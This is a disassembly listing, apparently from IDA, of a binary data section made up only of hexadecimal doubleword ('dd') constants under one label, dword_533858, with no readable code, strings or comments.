		dd 15E10FF7h, 0EB00BA89h, 218307EFh, 62F54D01h,	35A56824h
		dd 3D61B03Bh, 173BCC00h, 42EFD116h, 73D5027Dh, 3A2483BEh
		dd 6C54D0C0h, 0B05F4Ch,	0ECBDC88h, 2C3C49Ah, 29E1283Fh
		dd 0B080C9AAh, 7C5534A7h, 0BBF84800h, 0CA5ABFEBh, 0C6661F9Bh
		dd 8BB200EEh, 2920C07Dh, 0E47F7700h, 7AB569AAh,	9E748Ch
		dd 0A3DA7E98h, 0B260F151h, 58E71230h, 0E80AF24Ah, 9E551318h
		dd 0F8380335h, 0DA85C36h, 6D24F0DCh, 0BD806473h, 0BE7DBAA5h
		dd 0D7700038h, 7496CD1Eh, 88002864h, 0DC2B2C5Eh, 97DBA3h
		dd 0B65D9208h, 1D9A0B23h, 0D1DE3603h, 9BBB8219h, 0EFA1F0CFh
		dd 8CE6B7h, 6D71CED2h, 9F27A4F5h, 36B0B200h, 0F33F7C09h
		dd 0DBE67Fh, 15BA19AEh,	8E0FFE5Fh, 0A4B66F00h, 2F98E072h
		dd 653F0001h, 2D7A337Ch, 0AC1257CBh, 6002D856h,	198B46BFh
		dd 4D003F02h, 4B300AD6h, 2F04008Eh, 4255072Eh, 0C500CC76h
		dd 0DA682DCAh, 162C134h, 0A5350381h, 33BB0DD3h,	579B40D4h
		dd 1127CF00h, 1F2A552Fh, 4D630F1Ah, 960D996h, 0A9FE4094h
		dd 217CCB1Ch, 9F3D2070h, 0D57561h, 3FF888B3h, 26C48B98h
		dd 476AD4F1h, 0E413E890h, 0E020BE3Ah, 3FA4518Ch, 386D2F9h
		dd 104ECD96h, 0EF84A00h, 72E07E3Eh, 0DDC53F8Eh,	0C200A4CCh
		dd 480FF4DAh, 2113F88Dh, 4D17742Ch, 98BC0423h, 1605D40h
		dd 510967F3h, 0C49244E6h, 8803EC12h, 0ED0DA7BAh, 11E3906Dh
		dd 0A499003Ah, 37A9CABh, 87E298FCh, 0E5973309h,	8F9A8067h
		dd 8655E4h, 3CBB18D2h, 0AACFC00Ah, 0A1138200h, 5A76DACEh
		dd 9110002h, 0D484064h,	0F52C0168h, 0E800E5F6h,	72317D92h
		dd 0C80F0039h, 4FD50B0h, 23092041h, 83B4177Eh, 0E07F0708h
		dd 0F2D4AAh, 66DECA6Eh,	30C85167h, 0FC363200h, 8920C254h
		dd 0AA80009Eh, 0FA16F2ACh, 0A914B2C3h, 0FB061Fh, 8DC6F87h
		dd 3F322C0Ah, 1F4132Ah,	0D5F87B92h, 39576CBEh, 80028B6Ch
		dd 17C063E3h, 495E74BBh, 0B942C81h, 0FCF2A50h, 0A55348F1h
		dd 3DE8740h, 0E1EAB4Ah,	82E74584h, 6871FFACh, 905C635Ch
		dd 2C790Ch, 7F0A5A62h, 21A540DAh, 0FF32ED00h, 6CCEE8B5h
		dd 2A9809B8h, 1003D43Dh, 4EB26EFAh, 0DC6754C1h,	0E825A9F9h
		dd 0B85000AAh, 13EA8D7h, 9484A41h, 3053232Bh, 0C100CC90h
		dd 0B128B477h, 2687B76h, 9ED1F30h, 88E098C5h, 7CE23AA4h
		dd 0B013B100h, 9F29EC35h, 6E5B003Dh, 0B49C818Fh, 11051CAAh
		dd 75DB1F76h, 95D105C0h, 8CB039h, 502D4538h, 0D55802EFh
		dd 9FFEA00h, 64ED1D15h,	5399078Ah, 5527E4E7h, 0A1C8208Ch
		dd 0A00E661h, 8BB4A445h, 0C7A62Fh, 0F76D252Ch, 0B9C50ED7h
		dd 2D267200h, 1B625340h, 0ECAF1F96h, 83690063h,	73EEE6DCh
		dd 2A79CB1Dh, 0FC1F70A6h, 0ADFE5103h, 9920F85Dh, 0F33200F7h
		dd 0DF3C07AFh, 277462C0h, 4323F092h, 83F800B5h,	13C9233Fh
		dd 6D37E700h, 80CE08E2h, 0F27C5Fh, 0DDDCC5A9h, 4D5D0906h
		dd 0D55BCC00h, 7B9459C2h, 2910C04Ah, 524EC866h,	92B91E3Fh
		dd 70C02309h, 7AE1380h,	0CE9877D2h, 593B628Bh, 0B41A0C48h
		dd 0AC00787Bh, 0CAFC320Bh, 0CD28014h, 91C5B75Ah, 36F6C010h
		dd 3DCBC200h, 0DDBB6C89h, 0C67200B8h, 8F276031h, 173FE055h
		dd 0C30267Fh, 98DB00B9h, 4845F056h, 0E4A8149Ch,	5500A85Fh
		dd 6687624Bh, 1A7E219Fh, 0D0F9D307h, 0FFE06939h, 0B28F64h
		dd 7C19ACECh, 386CE67Ah, 0D8AE061Dh, 0E800CE17h, 392BF230h
		dd 8FD000A4h, 2AF2334h,	79038EBFh, 6B777E87h, 0F8FC90C0h
		dd 0F5620049h, 9F4A8D47h, 0CA3C84EAh, 0B61D127Ch, 0F96CAC00h
		dd 6A0B0Eh, 786B8E75h, 60304A73h, 987FC700h, 2AB8D813h
		dd 1070105Ah, 8CF800D9h, 0F094C742h, 349F00BFh,	2FDF9C51h
		dd 0A203521Ch, 0BE01553Ah, 885DC0C8h, 48A400C0h, 74265459h
		dd 580097AAh, 5EF263ABh, 0E2083CEh, 231E8088h, 530110A9h
		dd 30998F70h, 16003E44h, 6A4A2FB1h, 2DA0DF7Fh, 5800E4E8h
		dd 0BDCC04AAh, 0FA64E100h, 20AECE11h, 8D7D0279h, 0A80396D9h
		dd 24B1A0C0h, 0EF819A01h, 0CDC9B6E4h, 3E0F830h,	56D55CC6h
		dd 0E3ABDDD9h, 0A4173ED0h, 3767003h, 0C006448Fh, 549EBBCh
		dd 0F0629B2Dh, 23F0C0C0h, 0B901AA0Eh, 98657D21h, 0FC78ED3Ah
		dd 20446A13h, 571A3818h, 0E0959F00h, 9CEDEAA0h,	863A0054h
		dd 5B80287Dh, 3C00DA9Dh, 0C9F311DCh, 0D82BC5h, 0C3982721h
		dd 0A5149A87h, 11765AECh, 2A6F58h, 0A6486C12h, 0E22EC4AEh
		dd 98D11D29h, 8918802Dh, 851C56A9h, 9F023900h, 1213039Bh
		dd 915D1FCCh, 0B98AC4A1h, 0B800B3D6h, 4B402232h, 8949E012h
		dd 0B3E7F020h, 0EE2700BEh, 0E506ACCAh, 5203461Eh, 0CE2C43F1h
		dd 0C339909Ah, 0E01600C5h, 0E8A82511h, 0D207ABC1h, 63F143C4h
		dd 0B342C0F3h, 4D588855h, 0CFC1389Fh, 0EC659214h, 584A26h
		dd 6C37F2EBh, 6900DBB0h, 2045D6C8h, 74D3B5h, 26F0A8B6h
		dd 9E1AE12Ch, 43573700h, 0FA3C7732h, 1DBBF09Fh,	8341A8A5h
		dd 638E69AEh, 399840C5h, 92063677h, 0C718C21Fh,	0E501380h
		dd 1FC36F64h, 40D40AB4h, 61E3844h, 0B9037DAAh, 8B0C563Bh
		dd 0BA10010Dh, 78904075h, 0E8FCF117h, 3F07A5F9h, 8CF6610Bh
		dd 0CCB86E20h, 0ED700019h, 0D153D827h, 247182C1h, 0A96C8B04h
		dd 0C083D3E1h, 97BBB050h, 0F230143h, 0B3AB5FECh, 64CAE065h
		dd 94777B0Bh, 5AC8148h,	0E80F9FFh, 0B89BC01Ch, 0B6000EACh
		dd 937D56C2h, 7E4991h, 70F53003h, 84D72685h, 0AEAF9400h
		dd 0B3BABB31h, 8D50546h, 0A0E3A690h, 930044ECh,	26BB6BADh
		dd 0D9FA06h, 55842BEFh,	2C4C3F41h, 5F1FB0Bh, 8A71874Eh
		dd 9A29EEC0h, 1B8F0012h, 3943822Ah, 4F0BBA15h, 898BC85Dh
		dd 710047BCh, 2905618Ch, 1A460000h, 0E50AEDE8h,	0A1D979A4h
		dd 18C022A4h, 958E00FBh, 5BFFC6A8h, 20129CAh, 0FEFA8C0Bh
		dd 74C01DE3h, 381F12B8h, 0D814B0DAh, 8064A059h,	4F8B9E7h
		dd 83790FCDh, 0C0525C9Bh, 47151CA0h, 8D340900h,	10F5D8B3h
		dd 0CF640020h, 0B48A5243h, 15008419h, 771E3FB6h, 143E1742h
		dd 0D04DBBC1h, 0C92CA000h, 37559BEAh, 0B25B1100h, 0DBBFAB61h
		dd 0E7400FFh, 4A6BB14Dh, 8926FBE5h, 0DD00D369h,	63BD0599h
		dd 2B17006Fh, 0AA54C370h, 0D2002AC7h, 61A5FB65h, 1C15F3h
		dd 96FCDAC8h, 0BA0C7299h, 3C1EE0FAh, 5DCEE3CFh,	0EA88E011h
		dd 25B178C6h, 0C760D9Ch, 33719B00h, 0E6DE14h, 0AA7BA1B9h
		dd 1146395Dh, 6C79C700h, 5B16E79Bh, 0EB600FDh, 3924884Ch
		dd 9700050Bh, 0A7EA0847h, 4922B5h, 0F953A26Ch, 40245BA1h
		dd 482AC100h, 0DBFCEAF5h
		dd 0AA880019h, 0DF9A8284h, 0DEF0D59Fh, 588B1300h, 59D64E73h
		dd 3AF10EBEh, 696031AFh, 0E5A9EF8Dh, 0F0055FAh,	38495487h
		dd 7322C01h, 0F5813A59h, 5D4310E6h, 25001384h, 0F80EBEA2h
		dd 37330F0h, 0FDF11AC5h, 129846A4h, 0B80033BCh,	42527BB4h
		dd 965456D7h, 5FBA0054h, 29AC44E8h, 457ABC00h, 175AA3B9h
		dd 5C4300F0h, 0CD5B3671h, 0F018D64h, 66CF5051h,	0FA402E8Fh
		dd 0F277A855h, 7F211F62h, 0E006C01Ah, 11DA2B92h, 43416907h
		dd 855047CCh, 2EE32E10h, 442537h, 4C61AF6Eh, 60008D7Eh
		dd 4A02FCF3h, 0F6CD94DBh, 1FCF17C3h, 1844737h, 7C304BA7h
		dd 0CF0C6561h, 7A54D729h, 0B579003Eh, 427C09F7h, 50006CBDh
		dd 0D7152635h, 7DA9846h, 691FB45h, 3847064Bh, 0CB0BC5EAh
		dd 5FF4DEh, 0B5B3A69Ch,	843200CEh, 0BBCA277Bh, 0AD07956Bh
		dd 4A460F11h, 0A9381Ch,	8A0C0119h, 2CCED5CAh, 0A8C0A54Ah
		dd 7F21B5Ch, 553B14E5h,	38C790E8h, 121CA0BDh, 0A1DC164Fh
		dd 0A000CF53h, 0BC2052DBh, 0C078005Bh, 63DAEE2Ch, 4043FF3h
		dd 81FCDF0Ah, 0ADC22CA8h, 1602561h, 8007CEF1h, 0DCC74AEFh
		dd 0B26DB493h, 2FF8E00Bh, 600600CBh, 43A88D4h, 0EA00B551h
		dd 28D16BACh, 7E71FF7h,	9FDB375h, 0DDC57025h, 880E14A9h
		dd 76368A98h, 0CB5A4800h, 7A1AC4CDh, 91A9000Fh,	4CB44DCFh
		dd 0E3005FF5h, 251F9A5h, 0C306CCh, 0F478D4F7h, 6C459831h
		dd 8F74E077h, 8B72E902h, 6168DF12h, 58D07FA4h, 0F9E11E09h
		dd 0FC1F0086h, 179A6683h, 1DB14F00h, 0EA05722Dh, 628804A4h
		dd 0A80FEDC2h, 6E4525F4h, 226B01F0h, 611ED8D6h,	5F62D020h
		dd 1CAB3500h, 85AC23D5h, 27860051h, 0EAD254FFh,	9B0E61E0h
		dd 0F5CA039h, 57BE27B6h, 0D07329A3h, 36D21Fh, 743CC279h
		dd 25F1C1BFh, 69070607h, 0AA17BA20h, 6A488E60h,	5B140FD6h
		dd 2BA0DCE6h, 0C366248Bh, 91D0B800h, 478AF056h,	0BB4718Dh
		dd 9E72BBB5h, 0B3D00Ah,	3305549Ah, 290ECD89h, 6378B166h
		dd 0C0510E65h, 209867h,	0D0E5384Bh, 0A353F41Ch,	0D44C3101h
		dd 0A5297057h, 3CF8DC30h, 5E804BA6h, 45720BE4h,	91000FBFh
		dd 3B4FA8EAh, 71317926h, 755B0046h, 9AC25C51h, 0F1FA5D8Eh
		dd 0AAA5E800h, 7D18ACF8h, 2DD20057h, 40230E9Fh,	0A10011F0h
		dd 7C1DF246h, 1ECA51F8h, 78EB6Ch, 200E9450h, 3098E696h
		dd 859AD127h, 30C01004h, 0C6C8AEh, 14E79D51h, 90415773h
		dd 0E0D24851h, 56008F42h, 0A506FF6h, 65FD9Dh, 588E03DCh
		dd 3B30CEE8h, 0EDA53107h, 7BA3F05Eh, 0C68884Fh,	69D30073h
		dd 61808206h, 0C2097CDFh, 4C5D833h, 0AB706F0Ch,	220B6589h
		dd 606676F1h, 5AC373Ch,	0C8B105Eh, 0CF78C0F9h, 72EA83CDh
		dd 8DDB3612h, 0A6A5A400h, 0D382BFh, 2766F53h, 37265017h
		dd 0B8685Ch, 0B5E5D6A9h, 3AD0A5F2h, 710E1FBAh, 0E0CF6BB4h
		dd 0FDF3805Fh, 2425E833h, 29DA38h, 0B83639EDh, 2313BAh
		dd 4862B0A2h, 1D5D5464h, 1890EC00h, 73C93FFDh, 97513C68h
		dd 0A13B7B01h, 60A63745h, 937AE0C0h, 619E0A07h,	3F00142Ch
		dd 776405h, 0C357F503h,	497FD9BEh, 0F3B0E905h, 39C0D411h
		dd 0FB5BBh, 2A406B9h, 0C5D0B147h, 95D6ED0Ah, 9804F8F6h
		dd 2E1619B0h, 0EF0F7D2Ch, 0E01D9979h, 1264F367h, 2B800753h
		dd 90B691E6h, 0F7D1488Ah, 824D7F3Bh, 0E7826459h, 0C228E051h
		dd 0B090CCh, 0AC30175Ch, 267654D5h, 0FA49880Fh,	0F0C2E497h
		dd 47248CC0h, 0E85300CFh, 268AD0EBh, 820446B5h,	85B3675Bh
		dd 930F7CC0h, 13A5004Ch, 978BAE6Eh, 0C37BAACDh,	8245F207h
		dd 0C1A017ECh, 29C2E8h,	7E6F0DBFh, 3E16FF13h, 67781C00h
		dd 442FC54Eh, 5B2C0059h, 0D4ACCE76h, 0EC038C17h, 4EE53D1Ah
		dd 0A0ABBBA7h, 0F757A24h, 3644C1E7h, 385199A0h,	8E00777Fh
		dd 0DAEDD5CCh, 219640h,	36185E2Eh, 801CD79Fh, 0C64C5600h
		dd 25C75FD2h, 0DF9000A6h, 0E0EE1ED6h, 0DD006DACh, 7BE66A75h
		dd 39D54Dh, 0E5B79E3Ch,	37741569h, 5BE4400h, 52C3FF2Ch
		dd 0E3DE07DCh, 0B008C438h, 1DC56DBAh, 0E6512300h, 0AD1E186h
		dd 444007Dh, 0DDD7B3D2h, 0C100A9BDh, 0BCDA7BDBh, 0D183ADh
		dd 919B0619h, 76FCCCD7h, 0DE002B75h, 7F2F1F9Dh,	0ECA8E7BEh
		dd 0FAD90012h, 80B7FE54h, 8D0130E0h, 4DC176DEh,	3B209D17h
		dd 0C971A9h, 973C167Dh,	0B25FA857h, 22061F00h, 531E43ACh
		dd 0D4E03DB5h, 3D0B9A80h, 322BA774h, 663E4600h,	90D985F5h
		dd 0EDF300E6h, 0ABFE6F26h, 7E00526Ah, 78298809h, 7B73B258h
		dd 8E9F0044h, 9DF09801h, 0D1036551h, 40B8AB9Ch,	5A14F866h
		dd 0DD7200B0h, 2E2B57DBh, 0D0714F3Bh, 6EE6D900h, 81AAFB1Dh
		dd 0D76F024Eh, 4196840Fh, 88E83342h, 230063D1h,	713EC2C4h
		dd 165BD39h, 0AAA4526Fh, 0E128A5DAh, 0FF46D843h, 0FAD89502h
		dd 60729E83h, 0A87E50h,	6A1FED49h, 983BE251h, 5880804Ah
		dd 7C3196Dh, 8A402A1Dh,	0FE3181EFh, 0E6D3F3C5h,	8012CADBh
		dd 0B880A00Bh, 0C31CB3h, 0F9616D79h, 0B2D0198Fh, 6B32BA14h
		dd 54BD00E1h, 22906E7Ch, 0B52109ECh, 0E0F0D5DCh, 0FFDB3Fh
		dd 0C1FD3A4h, 1DA31AA1h, 83523583h, 549371B5h, 149269A0h
		dd 62180F16h, 7FBC8800h, 5C6EF41Dh, 9F3D008Dh, 401C9900h
		dd 69AB2897h, 0B4D08300h, 0D9AF65C9h, 18700066h, 43B8786Ah
		dd 0EE0071CEh, 48FD526h, 818ECDh, 70A1E1CBh, 0BDD2D12Bh
		dd 87E4F23Bh, 0B6C95DC5h, 0FE0007A5h, 4A90B822h, 0E6C20033h
		dd 0B958D471h, 23001246h, 775741D5h, 15A40D8Dh,	907BD927h
		dd 84DED402h, 6C7ED87Dh, 0AB020B74h, 47A450h, 0E41C3F71h
		dd 4C005C7Ah, 0E50CA4AEh, 0B795D1h, 2AF36622h, 831E01F4h
		dd 0C026A607h, 1B004EE6h, 1038AA5h, 59476769h, 80237E3Eh
		dd 7CB0C430h, 5534A2Bh,	0CD27B73Ch, 299FC031h, 640623A6h
		dd 0F577C36Dh, 82E0036h, 0B5826613h, 76E887CBh,	812D920Bh
		dd 0AE480C6h, 4B9F0EF4h, 0B4840FBCh, 0E7D000F6h, 0CB8CF8Ch
		dd 88850900h, 0E8FA7203h, 698300B4h, 1BAEDA63h,	0E1000C8Fh
		dd 28645C42h, 3F5372E0h, 0F10B16CAh, 0BB81ABC5h, 0C0059727h
		dd 0A6502441h, 0AE9F84C0h, 0D8C90F38h, 762E088h, 0C79540BCh
		dd 5874B1C2h, 0A9A4047h, 115FE2Bh, 0E0D3A3h, 0A0186AC7h
		dd 217E2Dh, 0E6FFC480h,	0A77FF57Ah, 0D4D83F50h,	7DB43501h
		dd 33DD6C83h, 483741D8h, 380ED049h, 3EC07AA0h, 0CECD8A35h
		dd 84ED9D01h, 1BF3CB1Dh, 57F49080h, 0F18D099Bh,	988090B9h
		dd 61A38A21h, 0FE810B54h, 24C06204h, 0EE0E5BA6h, 0C2AC20DFh
		dd 615A8FBBh, 2ECCD8F9h, 8B0E0086h, 0C5A9A128h,	35720283h
		dd 0E1FE0B05h, 3CE01479h, 437F1FD7h, 3EB08094h,	3CB20447h
		dd 0E9200B0Bh, 0A000C02Dh, 1A541F43h, 951DC39Dh, 6EF9CB19h
		dd 0D1D6D8DCh, 607E52EAh, 0ACF48309h, 49FCC0F7h, 7DE900B8h
		dd 0EDCF3B12h, 0E100E4BAh, 478072ABh, 0B73831h,	0B84ABF56h
		dd 1FF15F3h, 0AB258414h, 9E2100B8h, 0B9092F46h,	0E1EB07BCh
		dd 407B0E1Eh, 0BD45CBCDh, 5BBFAD1Fh, 98F0DAC3h,	0ED3190E2h
		dd 75841ED0h, 0B5064308h, 0A2B03950h, 8200EE61h, 5A1A8623h
		dd 2431D934h, 80489199h, 0E2A1EA21h, 0C13D3BA8h, 0DC552462h
		dd 5E80659Dh, 0BD3D9C13h, 323000C0h, 0C769D4B1h, 4401C585h
		dd 0ACC9BBBh, 670239Ch,	92070066h, 0EF743753h, 3F3ECAD1h
		dd 0BA2580F0h, 41B7FD45h
dword_533858	dd 0DB2D006Dh, 0AEF11C36h, 0A100A0BEh, 7D6DAC7h, 38402F93h
		dd 3400B8D4h, 95485DBDh, 0D04BA055h, 0FB2E3421h, 79143AC8h
		dd 89260070h, 0D23C6609h, 6E00C92Ch, 4E2E80D4h,	14DE5Dh
		dd 0FE6BD0B4h, 4926984Bh, 4109C702h, 718B8052h,	7574009Ch
		dd 0B455BED8h, 0C1066D00h, 2F599AA6h, 389909AEh, 6482A564h
		dd 0F85486C4h, 8D2C4880h, 1D9FF6F8h, 1DAD4EA7h,	0A826C03Ah
		dd 769D3798h, 0B2C60300h, 4360D233h, 0A9CC0F0Ah, 8C89A60Eh
		dd 0A4346680h, 5D0BCE9Ch, 80C07E38h, 0FC5A18C0h, 11F9093h
		dd 8216F4F0h, 0FC80145Eh, 71E259FDh, 4000B14Eh,	0E9BF9789h
		dd 0CC870019h, 34A24C5Bh, 78005824h, 0CA1F1F3h,	0CAD508h
		dd 0EEFE4618h, 792B3EF8h, 0CECB350Bh, 1FB1808Ah, 0AE808h
		dd 0F32F87B8h, 0D7A85B0h, 210C8CB2h, 68891653h,	31700F9h
		dd 1913298Bh, 0DB005A3Bh, 0EEB38AB4h, 0CAF7F7Ch, 0E00A01AAh
		dd 627A0B28h, 0C79B6300h, 0CD1391CFh, 0E787053Ch, 0A9A592AAh
		dd 0CB07C40h, 0F3155400h, 444A2D6Ah, 9AA10002h,	0C5202B07h
		dd 87761799h, 3DC32C00h, 4A70DCBEh, 38160079h, 47DF6524h
		dd 720061CEh, 42779396h, 744AE9E8h, 70465C13h, 48F4DE00h
		dd 875EEDA4h, 0F8B7AF00h, 0F0A88BDCh, 0FA1D0051h, 0C1C2B89Eh
		dd 143AFD48h, 4E0776E8h, 623712A7h, 7A775300h, 406900ECh
		dd 0DB70B6C5h, 55E82BB5h, 5971F800h, 0A2A8C16Eh, 2639009Eh
		dd 29183DB3h, 557A1BF9h, 30EBCF90h, 89033322h, 0AC0F2B5Fh
		dd 1867C8BDh, 60900B9h,	0C1D7DB3Fh, 0C700B2C5h,	7F8D2873h
		dd 2CEA0DB3h, 4E4583h, 975F9CF9h, 0DE39638Eh, 2C4589Eh
		dd 0E0834F90h, 16E84035h, 1C7BBAh, 0F0968611h, 3ED2EE65h
		dd 0CDDF3B00h, 3171A305h, 1F85008Eh, 5E0A1523h,	0C80029ECh
		dd 0CB86BE83h, 0B6E7756h, 0CC7D44F8h, 0FC66E880h, 0E872F797h
		dd 0C0BFDD2Dh, 0D5580h,	362B393Bh, 45E7EFE9h, 9B85D70Fh
		dd 4891E0DDh, 3B63EDh, 455616Ch, 8067F872h, 77E24F0Bh
		dd 4AECC0E1h, 280300A4h, 0AA976832h, 100244C1h,	6E563F05h
		dd 0D14C046h, 6B0F00C2h, 0BBCAF999h, 183DFB4Ch,	0C4258016h
		dd 0E33B931Fh, 63920181h, 0C317DD49h, 1EBCFCC9h, 80957E3Ch
		dd 5482F856h, 0F81D91Ch, 8079AFF5h, 2CD68E80h, 455F2DBEh
		dd 4CAAF400h, 3E9CE91Ch, 1A800FD0h, 43F0099Fh, 96008C97h
		dd 199E63CFh, 55EF17Fh,	4D392FB3h, 0E29BC1E4h, 0D954DD6Ch
		dd 0C683F8DEh, 5B550800h, 0E876AB05h, 2DAC9294h, 34802D69h
		dd 0A0C8DDE4h, 0F964BB00h, 0CFA9DC79h, 3DFD00CEh, 5FA299BCh
		dd 4B50D1EEh, 6FA2518h,	205549CFh, 3C057E93h, 74BF0092h
		dd 0A2639BFBh, 110024DEh, 43CC706Bh, 7B6DDDh, 4FA73167h
		dd 4E5C1EBFh, 7175107h,	94008BCBh, 5303B9h, 0CD4C1980h
		dd 6223C56Fh, 896BD112h, 5E871F1Dh, 10D049DFh, 0F4ADC1h
		dd 0D6D2C506h, 5F40F775h, 120FB890h, 41FF92A4h,	80F821B2h
		dd 8DE55BD1h, 9F032028h, 6C9BEC06h, 8C9C53A8h, 0EAB519C4h
		dd 0C06018A4h, 0D1428138h, 5C00526Ah, 3FB87441h, 7DE3E75h
		dd 0C0057057h, 33A6D0D4h, 0FB009BB5h, 0B1F7C9A8h, 41B8D9h
		dd 0CDA1BC77h, 0C4CE0A04h, 392938h, 968A9121h, 4841F9h
		dd 6C683823h, 43D5A35Fh, 0CE933Eh, 3A993D6Ah, 0E81075C6h
		dd 547800B2h, 0E8BFE9A8h, 0D9009728h, 0AB3E761Fh, 4916DA7h
		dd 0BBD21C04h, 2E68B4F0h, 472A0F00h, 0E7A6FC05h, 9374141Fh
		dd 0B93B10E6h, 0B5DE8801h, 0D4C5A067h, 0E3001481h, 8A850736h
		dd 503195C4h, 7CA88DAh,	6279BF8Fh, 76A8D0C2h, 0AE245C1Fh
		dd 81940875h, 378407E9h, 9BF29569h, 0F020E115h,	279E5E0h
		dd 5D7BB091h, 86E0DF8Ah, 0AB1EFD51h, 0EF408427h, 0F4BCA526h
		dd 0F8BACCh, 4345B544h,	396F818Bh, 67745CEEh, 20A0B931h
		dd 0B6C87D47h, 0C3A8009Dh, 619919B2h, 0F100C6AAh, 6787A37h
		dd 249FAE7Dh, 84A88F24h, 8CBEE8ADh, 1704B3B0h, 6CA3C1C7h
		dd 13123881h, 0ABE54A8Bh, 8FC51000h, 0FC037236h, 0B8F1BE31h
		dd 4035A9D3h, 37A4D087h, 5FD2275h, 67BABC84h, 0ED588B03h
		dd 84BCB850h, 8E02E7A8h, 31C06DD7h, 0A00034F1h,	458F9E8h
		dd 1B34B2Ch, 0C75E8D21h, 6A8CABC8h, 9E42C00h, 0F1A7C9h
		dd 425F92F6h, 61661AEAh, 324ED4A0h, 350F9478h, 701807h
		dd 963A59Dh, 0D7E92C82h, 0E3190ED5h, 46C45640h,	867EABADh
		dd 5CB74500h, 7C18DEFBh, 3B4F00EEh, 7D211D73h, 0A67017E8h
		dd 2B366103h, 0C735EA67h, 0DD784C60h, 0AD2A0008h, 527BE5D5h
		dd 3816F851h, 3907BF22h, 5D562957h, 20A0010h, 6EE5D42Fh
		dd 0A0006CBBh, 0EBB0B183h, 914AF9h, 67ADE1D5h, 0E53A8A9h
		dd 994C0D98h, 69E700F5h, 1D8F77F6h, 0F7500F7h, 0BC9F4B47h
		dd 0B4004944h, 0DBAAB883h, 0EFFC22h, 379B6E72h,	79B3283Eh
		dd 0DDD80F07h, 0CBC77684h, 1CB2BCE0h, 0A6410044h, 1922F0F5h
		dd 5E029875h, 0D3AEF2D4h, 7CA0407Bh, 0B07E60CCh, 7460ACBFh
		dd 0B7BCE050h, 8DF370C7h, 5F61F4C0h, 1A3006CDh,	0D8593F3Ch
		dd 30C05Ch, 0B232DD03h,	0A945B0h, 0FE8605FAh, 0E0063674h
		dd 56EDDB07h, 0CB506FB8h, 9839ACBDh, 8A1500C6h,	0CFDA16BEh
		dd 0DDEA42F4h, 0B70ED10Eh, 8C59EB58h, 19510F8h,	3F762BF2h
		dd 0D0E18B13h, 0B05876Fh, 9A5BABB3h, 91EAB041h,	20E107F7h
		dd 3AF60DCh, 0A14CA867h, 0B8E8155Ch, 290F80BAh,	808CEB7Ah
		dd 6E1160E8h, 0E9A463D1h, 92F86C7Bh, 0D60F6AF5h, 3DE8467h
		dd 0B0724E04h, 3A06D36h, 773454D4h, 1058317Dh, 0E8000C5h
		dd 0C552C323h, 620EE91h, 953DE0BBh, 6C00F884h, 0D2620377h
		dd 0F4AC238h, 42D345BFh, 8E20B5E0h, 0D5005C16h,	13C065Fh
		dd 1E8A62h, 3EDE19F3h, 346B404Fh, 807D0D01h, 364C476h
		dd 1849DCh, 0FC041A9Ah,	0AD4FEA09h, 5603472h, 5B0AB410h
		dd 0E57F0065h, 0C794BA0h, 13E6CEC6h, 10ECD904h,	4E806811h
		dd 7D64707h, 3829B1D7h,	0A2FDE04Bh, 0C4008601h,	5B459998h
		dd 135738Ch, 0B5A0588Ah, 2AF87826h, 37F8E9E1h, 7E7921h
		dd 40D4543Ch, 0DE56971Dh, 6ADF01Dh, 0E00C8Eh, 951291E4h
		dd 0E3A9502Fh, 3AF878h,	0DE441BE3h, 1AE17B0h, 0D2CB1600h
		dd 7B5406Fh, 4A8600F3h,	0C213030Eh, 0D8C0FE8Ch,	0F823FC14h
		dd 7F62F45Fh, 87F0C0AEh, 0AB26EEC0h, 60ECB507h,	7CC00A96h
		dd 3D4437BEh, 8AAA0848h, 80DE012Ch, 0D8C212BFh,	0E82708D2h
		dd 62F90808h, 0E2410A52h, 9C00A316h, 0FF41F774h, 66104CD1h
		dd 4A89B871h, 104BA5FCh, 82D154C3h, 612878Bh, 59C240B6h
		dd 1A29BFEh, 9407BAA8h,	1F2C4BB1h, 22E25E12h, 4021E7AEh
		dd 776B0ADBh, 2CFA9584h, 0DD413A00h, 0A3E4ECB2h, 371F0F84h
		dd 4E6A1726h, 9479684h,	182071F4h, 6648C855h, 234EFD16h
		dd 11FE4401h, 0A6E4F9A0h, 3B3600BAh, 40B1A94Bh,	0D0C0E529h
		dd 83ACB8F2h, 61030F1h,	0C7779B48h, 0AE9E7C03h,	0AD0BA639h
		dd 3DE138C6h, 0E43A3A7Ah, 893F5C00h, 7B2A493Ch,	0DC1AEE0Ch
		dd 7E78F828h, 3B311C66h, 52740C2h, 0B0D88B47h, 1CBD740h
		dd 0ACABCCA7h, 6E1E43F0h, 19D5EB05h, 0CD55C44Ah, 3611B100h
		dd 0ED5061h, 0C26B09FDh, 0D8FF6022h, 4F0025B0h,	599CAB0Eh
		dd 7CC369h, 3CE8FDC4h, 64CB9040h, 0FA49h, 1EDD3A5Fh, 3F109Ch
		dd 15D47A35h, 0E4F1DC80h, 0BA4F304h, 0BE805C34h, 60EA9964h
		dd 59E170F2h
		dd 9400CBABh, 9E68C957h, 57A8984h, 7D22549Fh, 98800A8h
		dd 4BE4D3B7h, 36FE0403h, 9C3E9B9Eh, 0FF844980h,	10CB85Dh
		dd 7EBB865Eh, 0E8BCD8F0h, 0ED39E190h, 0F70E078Ah, 0C4805B24h
		dd 0CAE945h, 11F1C9E5h,	0DAF36092h, 8816A000h, 5B37B53Fh
		dd 7884F1C5h, 9050568Ch, 0F87FA750h, 482FD000h,	0A63F54Eh
		dd 6BBF0074h, 0B212F0F3h, 91011E5Ch, 2BCDFA44h,	232080EFh
		dd 0B6F8C6h, 2DE9F0CEh,	0FE09476Ah, 0E6003BEEh,	0D81C74CCh
		dd 30EB62A2h, 0DE309185h, 2F006008h, 8A5FAF6Ah,	39BD1E16h
		dd 13074F25h, 0F3D4D7C1h, 46E0575Dh, 20087CFh, 3032BE24h
		dd 806561h, 31DD6FE1h, 0EFDC5D13h, 243D401Eh, 0D1A9E81h
		dd 83F84FA5h, 2C8B0089h, 0BB138CD5h, 1507A0EDh,	4FC7ECA2h
		dd 74627CC0h, 12850026h, 389DD081h, 6500525Ch, 2227B58Eh
		dd 6040F71Bh, 19F2F8C0h, 461D5D31h, 0E3288B99h,	66A54900h
		dd 0C18D6A65h, 95F20042h, 74E4FBD4h, 1309E943h,	46A17Ah
		dd 0AD416B53h, 0C7E03854h, 3C36D882h, 497E8A2h,	2FF6AD00h
		dd 34327Ch, 0E5E02621h,	4CF51068h, 85B46538h, 587EBDAFh
		dd 39826C80h, 1C2E0033h, 5468EAF8h, 65004888h, 0F504933Eh
		dd 60D9A8h, 0DA22491Eh,	4A15CE5Fh, 25C19000h, 0D3EDB373h
